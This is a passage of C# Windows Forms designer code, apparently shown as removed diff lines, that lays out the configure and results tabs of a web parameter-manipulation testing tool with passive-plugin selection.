this.ParameterDeleteTestRB.TabIndex = 9; - this.ParameterDeleteTestRB.TabStop = true; - this.ParameterDeleteTestRB.Text = "Delete Existing Parameter Test"; - this.ParameterDeleteTestRB.UseVisualStyleBackColor = true; - // - // ParameterEditTestRB - // - this.ParameterEditTestRB.AutoSize = true; - this.ParameterEditTestRB.Location = new System.Drawing.Point(25, 167); - this.ParameterEditTestRB.Name = "ParameterEditTestRB"; - this.ParameterEditTestRB.Size = new System.Drawing.Size(187, 17); - this.ParameterEditTestRB.TabIndex = 8; - this.ParameterEditTestRB.TabStop = true; - this.ParameterEditTestRB.Text = "Edit Existing Parameter Value Test"; - this.ParameterEditTestRB.UseVisualStyleBackColor = true; - // - // ParameterAddTestRB - // - this.ParameterAddTestRB.AutoSize = true; - this.ParameterAddTestRB.Location = new System.Drawing.Point(25, 60); - this.ParameterAddTestRB.Name = "ParameterAddTestRB"; - this.ParameterAddTestRB.Size = new System.Drawing.Size(163, 17); - this.ParameterAddTestRB.TabIndex = 7; - this.ParameterAddTestRB.TabStop = true; - this.ParameterAddTestRB.Text = "New Parameter Addition Test"; - this.ParameterAddTestRB.UseVisualStyleBackColor = true; - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.Location = new System.Drawing.Point(131, 476); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(615, 49); - this.Step0StatusTB.TabIndex = 6; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.CancelBtn.Location = new System.Drawing.Point(8, 496); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(105, 23); - this.CancelBtn.TabIndex = 4; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // textBox2 - // - this.textBox2.BackColor = System.Drawing.Color.White; - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox2.Location = new System.Drawing.Point(5, 5); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(866, 47); - this.textBox2.TabIndex = 3; - this.textBox2.TabStop = false; - this.textBox2.Text = "\r\nYou can perform the following four tests on the logs that you have selected. D" + - "etails of each test is available below. Select one and go to next step."; - // - // StepOneNextBtn - // - this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOneNextBtn.Location = new System.Drawing.Point(763, 496); - this.StepOneNextBtn.Name = "StepOneNextBtn"; - this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepOneNextBtn.TabIndex = 2; - this.StepOneNextBtn.Text = "Next Step ->"; - this.StepOneNextBtn.UseVisualStyleBackColor = true; - this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); - // - // ConfigureTab - // - this.ConfigureTab.Controls.Add(this.Step1StatusTB); - this.ConfigureTab.Controls.Add(this.ConfigureTestTabs); - this.ConfigureTab.Controls.Add(this.StepTwoPreviousBtn); - this.ConfigureTab.Controls.Add(this.StartTestBtn); - this.ConfigureTab.Location = new System.Drawing.Point(4, 25); - this.ConfigureTab.Margin = new System.Windows.Forms.Padding(0); - this.ConfigureTab.Name = "ConfigureTab"; - this.ConfigureTab.Padding = new System.Windows.Forms.Padding(5); - this.ConfigureTab.Size = new System.Drawing.Size(876, 533); - this.ConfigureTab.TabIndex = 1; - this.ConfigureTab.Text = " Configure Test "; - this.ConfigureTab.UseVisualStyleBackColor = true; - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.Location = new System.Drawing.Point(133, 486); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(607, 41); - this.Step1StatusTB.TabIndex = 11; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // ConfigureTestTabs - // - this.ConfigureTestTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigureTestTabs.Controls.Add(this.ConfigureParameterTab); - this.ConfigureTestTabs.Controls.Add(this.SelectPluginsTab); - this.ConfigureTestTabs.Location = new System.Drawing.Point(0, 0); - this.ConfigureTestTabs.Margin = new System.Windows.Forms.Padding(0); - this.ConfigureTestTabs.Multiline = true; - this.ConfigureTestTabs.Name = "ConfigureTestTabs"; - this.ConfigureTestTabs.Padding = new System.Drawing.Point(0, 0); - this.ConfigureTestTabs.SelectedIndex = 0; - this.ConfigureTestTabs.Size = new System.Drawing.Size(876, 474); - this.ConfigureTestTabs.TabIndex = 1; - this.ConfigureTestTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ConfigureTestTabs_Selecting); - // - // ConfigureParameterTab - // - this.ConfigureParameterTab.BackColor = System.Drawing.Color.White; - this.ConfigureParameterTab.Controls.Add(this.SessionPluginsCombo); - this.ConfigureParameterTab.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); - this.ConfigureParameterTab.Controls.Add(this.RefreshSessListLL); - this.ConfigureParameterTab.Controls.Add(this.textBox1); - this.ConfigureParameterTab.Controls.Add(this.label11); - this.ConfigureParameterTab.Controls.Add(this.ShouldResentOriginalRequestCB); - this.ConfigureParameterTab.Controls.Add(this.textBox11); - this.ConfigureParameterTab.Controls.Add(this.ParameterValueTB); - this.ConfigureParameterTab.Controls.Add(this.ParameterValueTBLbl); - this.ConfigureParameterTab.Controls.Add(this.ParameterActionLbl); - this.ConfigureParameterTab.Controls.Add(this.ParameterNameTB); - this.ConfigureParameterTab.Controls.Add(this.ParameterNameTBLbl); - this.ConfigureParameterTab.Controls.Add(this.ParameterTypeCombo); - this.ConfigureParameterTab.Controls.Add(this.ParameterTypeComboLbl); - this.ConfigureParameterTab.Location = new System.Drawing.Point(4, 22); - this.ConfigureParameterTab.Margin = new System.Windows.Forms.Padding(0); - this.ConfigureParameterTab.Name = "ConfigureParameterTab"; - this.ConfigureParameterTab.Size = new System.Drawing.Size(868, 448); - this.ConfigureParameterTab.TabIndex = 0; - this.ConfigureParameterTab.Text = " Configure Parameter "; - // - // SessionPluginsCombo - // - this.SessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.SessionPluginsCombo.FormattingEnabled = true; - this.SessionPluginsCombo.Location = new System.Drawing.Point(379, 359); - this.SessionPluginsCombo.Name = "SessionPluginsCombo"; - this.SessionPluginsCombo.Size = new System.Drawing.Size(336, 21); - this.SessionPluginsCombo.TabIndex = 171; - // - // LaunchSessionPluginCreationAssistantLL - // - this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; - this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(9, 298); - this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; - this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); - this.LaunchSessionPluginCreationAssistantLL.TabIndex = 170; - this.LaunchSessionPluginCreationAssistantLL.TabStop = true; - this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; - this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); - // - // RefreshSessListLL - // - this.RefreshSessListLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.RefreshSessListLL.AutoSize = true; - this.RefreshSessListLL.Location = new System.Drawing.Point(721, 362); - this.RefreshSessListLL.Name = "RefreshSessListLL"; - this.RefreshSessListLL.Size = new System.Drawing.Size(140, 13); - this.RefreshSessListLL.TabIndex = 169; - this.RefreshSessListLL.TabStop = true; - this.RefreshSessListLL.Text = "Refresh Session Plugins List"; - this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); - // - // textBox1 - // - this.textBox1.BackColor = System.Drawing.Color.White; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(10, 251); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(798, 48); - this.textBox1.TabIndex = 168; - this.textBox1.TabStop = false; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Location = new System.Drawing.Point(9, 362); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(361, 13); - this.label11.TabIndex = 167; - this.label11.Text = "If you want to use a Session Plugin for the test then select one from this list:"; - // - // ShouldResentOriginalRequestCB - // - this.ShouldResentOriginalRequestCB.AutoSize = true; - this.ShouldResentOriginalRequestCB.Checked = true; - this.ShouldResentOriginalRequestCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ShouldResentOriginalRequestCB.Location = new System.Drawing.Point(12, 95); - this.ShouldResentOriginalRequestCB.Name = "ShouldResentOriginalRequestCB"; - this.ShouldResentOriginalRequestCB.Size = new System.Drawing.Size(329, 17); - this.ShouldResentOriginalRequestCB.TabIndex = 27; - this.ShouldResentOriginalRequestCB.Text = "Resend Original Request once before sending the Test Request"; - this.ShouldResentOriginalRequestCB.UseVisualStyleBackColor = true; - this.ShouldResentOriginalRequestCB.CheckedChanged += new System.EventHandler(this.ShouldResentOriginalRequestCB_CheckedChanged); - // - // textBox11 - // - this.textBox11.BackColor = System.Drawing.Color.White; - this.textBox11.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox11.ForeColor = System.Drawing.Color.Gray; - this.textBox11.Location = new System.Drawing.Point(29, 118); - this.textBox11.Multiline = true; - this.textBox11.Name = "textBox11"; - this.textBox11.ReadOnly = true; - this.textBox11.Size = new System.Drawing.Size(821, 60); - this.textBox11.TabIndex = 26; - this.textBox11.TabStop = false; - this.textBox11.Text = resources.GetString("textBox11.Text"); - // - // ParameterValueTB - // - this.ParameterValueTB.BackColor = System.Drawing.Color.White; - this.ParameterValueTB.Location = new System.Drawing.Point(671, 43); - this.ParameterValueTB.Name = "ParameterValueTB"; - this.ParameterValueTB.Size = new System.Drawing.Size(193, 20); - this.ParameterValueTB.TabIndex = 25; - // - // ParameterValueTBLbl - // - this.ParameterValueTBLbl.AutoSize = true; - this.ParameterValueTBLbl.Location = new System.Drawing.Point(577, 46); - this.ParameterValueTBLbl.Name = "ParameterValueTBLbl"; - this.ParameterValueTBLbl.Size = new System.Drawing.Size(88, 13); - this.ParameterValueTBLbl.TabIndex = 24; - this.ParameterValueTBLbl.Text = "Parameter Value:"; - // - // ParameterActionLbl - // - this.ParameterActionLbl.AutoSize = true; - this.ParameterActionLbl.Location = new System.Drawing.Point(8, 15); - this.ParameterActionLbl.Name = "ParameterActionLbl"; - this.ParameterActionLbl.Size = new System.Drawing.Size(108, 13); - this.ParameterActionLbl.TabIndex = 23; - this.ParameterActionLbl.Text = "Parameter to Update:"; - // - // ParameterNameTB - // - this.ParameterNameTB.BackColor = System.Drawing.Color.White; - this.ParameterNameTB.Location = new System.Drawing.Point(376, 43); - this.ParameterNameTB.Name = "ParameterNameTB"; - this.ParameterNameTB.Size = new System.Drawing.Size(193, 20); - this.ParameterNameTB.TabIndex = 22; - // - // ParameterNameTBLbl - // - this.ParameterNameTBLbl.AutoSize = true; - this.ParameterNameTBLbl.Location = new System.Drawing.Point(281, 46); - this.ParameterNameTBLbl.Name = "ParameterNameTBLbl"; - this.ParameterNameTBLbl.Size = new System.Drawing.Size(89, 13); - this.ParameterNameTBLbl.TabIndex = 21; - this.ParameterNameTBLbl.Text = "Parameter Name:"; - // - // ParameterTypeCombo - // - this.ParameterTypeCombo.FormattingEnabled = true; - this.ParameterTypeCombo.Items.AddRange(new object[] { - "UrlPathPart", - "Query", - "Body", - "Cookie", - "Header"}); - this.ParameterTypeCombo.Location = new System.Drawing.Point(103, 43); - this.ParameterTypeCombo.Name = "ParameterTypeCombo"; - this.ParameterTypeCombo.Size = new System.Drawing.Size(126, 21); - this.ParameterTypeCombo.TabIndex = 20; - this.ParameterTypeCombo.SelectedIndexChanged += new System.EventHandler(this.ParameterTypeCombo_SelectedIndexChanged); - this.ParameterTypeCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.ParameterTypeCombo_KeyPress); - // - // ParameterTypeComboLbl - // - this.ParameterTypeComboLbl.AutoSize = true; - this.ParameterTypeComboLbl.Location = new System.Drawing.Point(8, 46); - this.ParameterTypeComboLbl.Name = "ParameterTypeComboLbl"; - this.ParameterTypeComboLbl.Size = new System.Drawing.Size(85, 13); - this.ParameterTypeComboLbl.TabIndex = 19; - this.ParameterTypeComboLbl.Text = "Parameter Type:"; - // - // SelectPluginsTab - // - this.SelectPluginsTab.BackColor = System.Drawing.Color.White; - this.SelectPluginsTab.Controls.Add(this.PassiveScanPluginsGrid); - this.SelectPluginsTab.Controls.Add(this.SelectAllPassivePluginsCB); - this.SelectPluginsTab.Controls.Add(this.textBox4); - this.SelectPluginsTab.Location = new System.Drawing.Point(4, 22); - this.SelectPluginsTab.Margin = new System.Windows.Forms.Padding(0); - this.SelectPluginsTab.Name = "SelectPluginsTab"; - this.SelectPluginsTab.Size = new System.Drawing.Size(868, 448); - this.SelectPluginsTab.TabIndex = 1; - this.SelectPluginsTab.Text = " Select Passive Plugins "; - // - // PassiveScanPluginsGrid - // - this.PassiveScanPluginsGrid.AllowUserToAddRows = false; - this.PassiveScanPluginsGrid.AllowUserToDeleteRows = false; - this.PassiveScanPluginsGrid.AllowUserToResizeRows = false; - this.PassiveScanPluginsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.PassiveScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.PassiveScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PassiveScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.PassiveScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn9, - this.dataGridViewTextBoxColumn27}); - this.PassiveScanPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.PassiveScanPluginsGrid.GridColor = System.Drawing.Color.White; - this.PassiveScanPluginsGrid.Location = new System.Drawing.Point(26, 105); - this.PassiveScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.PassiveScanPluginsGrid.MultiSelect = false; - this.PassiveScanPluginsGrid.Name = "PassiveScanPluginsGrid"; - this.PassiveScanPluginsGrid.ReadOnly = true; - this.PassiveScanPluginsGrid.RowHeadersVisible = false; - this.PassiveScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.PassiveScanPluginsGrid.Size = new System.Drawing.Size(297, 326); - this.PassiveScanPluginsGrid.TabIndex = 6; - this.PassiveScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.PassiveScanPluginsGrid_CellClick); - // - // dataGridViewCheckBoxColumn9 - // - this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn9.HeaderText = ""; - this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; - this.dataGridViewCheckBoxColumn9.ReadOnly = true; - this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn9.Width = 20; - // - // dataGridViewTextBoxColumn27 - // - this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn27.HeaderText = "SELECT PASSIVE PLUG-INS"; - this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; - this.dataGridViewTextBoxColumn27.ReadOnly = true; - this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // SelectAllPassivePluginsCB - // - this.SelectAllPassivePluginsCB.AutoSize = true; - this.SelectAllPassivePluginsCB.Location = new System.Drawing.Point(19, 79); - this.SelectAllPassivePluginsCB.Name = "SelectAllPassivePluginsCB"; - this.SelectAllPassivePluginsCB.Size = new System.Drawing.Size(107, 17); - this.SelectAllPassivePluginsCB.TabIndex = 10; - this.SelectAllPassivePluginsCB.Text = "Select All Plugins"; - this.SelectAllPassivePluginsCB.UseVisualStyleBackColor = true; - this.SelectAllPassivePluginsCB.Click += new System.EventHandler(this.SelectAllPassivePluginsCB_Click); - // - // textBox4 - // - this.textBox4.BackColor = System.Drawing.Color.White; - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox4.Location = new System.Drawing.Point(0, 0); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(868, 70); - this.textBox4.TabIndex = 9; - this.textBox4.TabStop = false; - this.textBox4.Text = resources.GetString("textBox4.Text"); - // - // StepTwoPreviousBtn - // - this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.StepTwoPreviousBtn.Location = new System.Drawing.Point(10, 499); - this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; - this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoPreviousBtn.TabIndex = 8; - this.StepTwoPreviousBtn.Text = "<-Previous Step"; - this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); - // - // StartTestBtn - // - this.StartTestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StartTestBtn.Location = new System.Drawing.Point(760, 500); - this.StartTestBtn.Name = "StartTestBtn"; - this.StartTestBtn.Size = new System.Drawing.Size(105, 23); - this.StartTestBtn.TabIndex = 7; - this.StartTestBtn.Text = "Start Test ->"; - this.StartTestBtn.UseVisualStyleBackColor = true; - this.StartTestBtn.Click += new System.EventHandler(this.StartTestBtn_Click); - // - // ResultsTab - // - this.ResultsTab.BackColor = System.Drawing.Color.White; - this.ResultsTab.Controls.Add(this.ParameterManipulationResultsStatusLbl); - this.ResultsTab.Controls.Add(this.PauseBtn); - this.ResultsTab.Controls.Add(this.StopBtn); - this.ResultsTab.Controls.Add(this.PlayBtn); - this.ResultsTab.Controls.Add(this.textBox19); - this.ResultsTab.Controls.Add(this.ResultsBaseTabs); - this.ResultsTab.Location = new System.Drawing.Point(4, 25); - this.ResultsTab.Name = "ResultsTab"; - this.ResultsTab.Padding = new System.Windows.Forms.Padding(5); - this.ResultsTab.Size = new System.Drawing.Size(876, 533); - this.ResultsTab.TabIndex = 3; - this.ResultsTab.Text = " Test Results "; - // - // ParameterManipulationResultsStatusLbl - // - this.ParameterManipulationResultsStatusLbl.AutoSize = true; - this.ParameterManipulationResultsStatusLbl.Location = new System.Drawing.Point(645, 42); - this.ParameterManipulationResultsStatusLbl.Name = "ParameterManipulationResultsStatusLbl"; - this.ParameterManipulationResultsStatusLbl.Size = new System.Drawing.Size(214, 13); - this.ParameterManipulationResultsStatusLbl.TabIndex = 32; - this.ParameterManipulationResultsStatusLbl.Text = " "; - // - // PauseBtn - // - this.PauseBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.PauseBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("PauseBtn.BackgroundImage"))); - this.PauseBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.PauseBtn.Location = new System.Drawing.Point(790, 8); - this.PauseBtn.Name = "PauseBtn"; - this.PauseBtn.Size = new System.Drawing.Size(22, 23); - this.PauseBtn.TabIndex = 30; - this.PauseBtn.UseVisualStyleBackColor = true; - this.PauseBtn.Click += new System.EventHandler(this.PauseBtn_Click); - // - // StopBtn - // - this.StopBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.StopBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("StopBtn.BackgroundImage"))); - this.StopBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.StopBtn.Location = new System.Drawing.Point(837, 8); - this.StopBtn.Name = "StopBtn"; - this.StopBtn.Size = new System.Drawing.Size(22, 23); - this.StopBtn.TabIndex = 29; - this.StopBtn.UseVisualStyleBackColor = true; - this.StopBtn.Click += new System.EventHandler(this.StopBtn_Click); - // - // PlayBtn - // - this.PlayBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.PlayBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("PlayBtn.BackgroundImage"))); - this.PlayBtn.Enabled = false; - this.PlayBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.PlayBtn.Location = new System.Drawing.Point(744, 7); - this.PlayBtn.Name = "PlayBtn"; - this.PlayBtn.Size = new System.Drawing.Size(22, 23); - this.PlayBtn.TabIndex = 28; - this.PlayBtn.UseVisualStyleBackColor = true; - this.PlayBtn.Click += new System.EventHandler(this.PlayBtn_Click); - // - // textBox19 - // - this.textBox19.BackColor = System.Drawing.Color.White; - this.textBox19.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox19.Location = new System.Drawing.Point(23, 5); - this.textBox19.Multiline = true; - this.textBox19.Name = "textBox19"; - this.textBox19.ReadOnly = true; - this.textBox19.Size = new System.Drawing.Size(663, 50); - this.textBox19.TabIndex = 27; - this.textBox19.TabStop = false; - this.textBox19.Text = "\r\nThe test results are displayed below. You can click on any of the entries to vi" + - "ew more details. \r\nUse the buttons on the right to pause, resume, stop or restar" + - "t the test."; - // - // ResultsBaseTabs - // - this.ResultsBaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ResultsBaseTabs.Controls.Add(this.ParameterManipulationResultsTab); - this.ResultsBaseTabs.Controls.Add(this.PassiveChecksResultsTab); - this.ResultsBaseTabs.Location = new System.Drawing.Point(5, 58); - this.ResultsBaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.ResultsBaseTabs.Multiline = true; - this.ResultsBaseTabs.Name = "ResultsBaseTabs"; - this.ResultsBaseTabs.Padding = new System.Drawing.Point(0, 0); - this.ResultsBaseTabs.SelectedIndex = 0; - this.ResultsBaseTabs.Size = new System.Drawing.Size(866, 470); - this.ResultsBaseTabs.TabIndex = 21; - this.ResultsBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ResultsBaseTabs_Selecting); - // - // ParameterManipulationResultsTab - // - this.ParameterManipulationResultsTab.BackColor = System.Drawing.Color.White; - this.ParameterManipulationResultsTab.Controls.Add(this.ParameterManipulationResultsSplit); - this.ParameterManipulationResultsTab.Location = new System.Drawing.Point(4, 22); - this.ParameterManipulationResultsTab.Margin = new System.Windows.Forms.Padding(0); - this.ParameterManipulationResultsTab.Name = "ParameterManipulationResultsTab"; - this.ParameterManipulationResultsTab.Size = new System.Drawing.Size(858, 444); - this.ParameterManipulationResultsTab.TabIndex = 0; - this.ParameterManipulationResultsTab.Text = " Parameter Manipulation Results "; - // - // ParameterManipulationResultsSplit - // - this.ParameterManipulationResultsSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ParameterManipulationResultsSplit.Location = new System.Drawing.Point(0, 0); - this.ParameterManipulationResultsSplit.Margin = new System.Windows.Forms.Padding(0); - this.ParameterManipulationResultsSplit.Name = "ParameterManipulationResultsSplit"; - this.ParameterManipulationResultsSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ParameterManipulationResultsSplit.Panel1 - // - this.ParameterManipulationResultsSplit.Panel1.Controls.Add(this.ParameterManipulationResultsLogGrid); - // - // ParameterManipulationResultsSplit.Panel2 - // - this.ParameterManipulationResultsSplit.Panel2.Controls.Add(this.ParameterManipulationLoadProgressBar); - this.ParameterManipulationResultsSplit.Panel2.Controls.Add(this.ParameterManipulationResultsBottomTabs); - this.ParameterManipulationResultsSplit.Size = new System.Drawing.Size(858, 444); - this.ParameterManipulationResultsSplit.SplitterDistance = 195; - this.ParameterManipulationResultsSplit.SplitterWidth = 2; - this.ParameterManipulationResultsSplit.TabIndex = 0; - // - // ParameterManipulationResultsLogGrid - // - this.ParameterManipulationResultsLogGrid.AllowUserToAddRows = false; - this.ParameterManipulationResultsLogGrid.AllowUserToDeleteRows = false; - this.ParameterManipulationResultsLogGrid.AllowUserToOrderColumns = true; - this.ParameterManipulationResultsLogGrid.AllowUserToResizeRows = false; - this.ParameterManipulationResultsLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ParameterManipulationResultsLogGrid.BackgroundColor = System.Drawing.Color.White; - this.ParameterManipulationResultsLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ParameterManipulationResultsLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; - this.ParameterManipulationResultsLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ParameterManipulationResultsLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.IDClmn, - this.OriginalCode, - this.OriginalLengthClmn, - this.ResentIdClmn, - this.ResentCodeClmn, - this.ResentLengthClmn, - this.TestIdClmn, - this.TestCodeClmn, - this.TestLengthClmn, - this.OriginalVsResentClmn, - this.ResentVsTestClmn, - this.OriginalVsTestClmn}); - this.ParameterManipulationResultsLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ParameterManipulationResultsLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ParameterManipulationResultsLogGrid.GridColor = System.Drawing.Color.White; - this.ParameterManipulationResultsLogGrid.Location = new System.Drawing.Point(0, 0); - this.ParameterManipulationResultsLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.ParameterManipulationResultsLogGrid.MultiSelect = false; - this.ParameterManipulationResultsLogGrid.Name = "ParameterManipulationResultsLogGrid"; - this.ParameterManipulationResultsLogGrid.ReadOnly = true; - this.ParameterManipulationResultsLogGrid.RowHeadersVisible = false; - this.ParameterManipulationResultsLogGrid.RowHeadersWidth = 10; - this.ParameterManipulationResultsLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ParameterManipulationResultsLogGrid.Size = new System.Drawing.Size(858, 195); - this.ParameterManipulationResultsLogGrid.TabIndex = 4; - this.ParameterManipulationResultsLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ParameterManipulationResultsLogGrid_CellClick); - // - // IDClmn - // - this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.IDClmn.HeaderText = "ID"; - this.IDClmn.MinimumWidth = 50; - this.IDClmn.Name = "IDClmn"; - 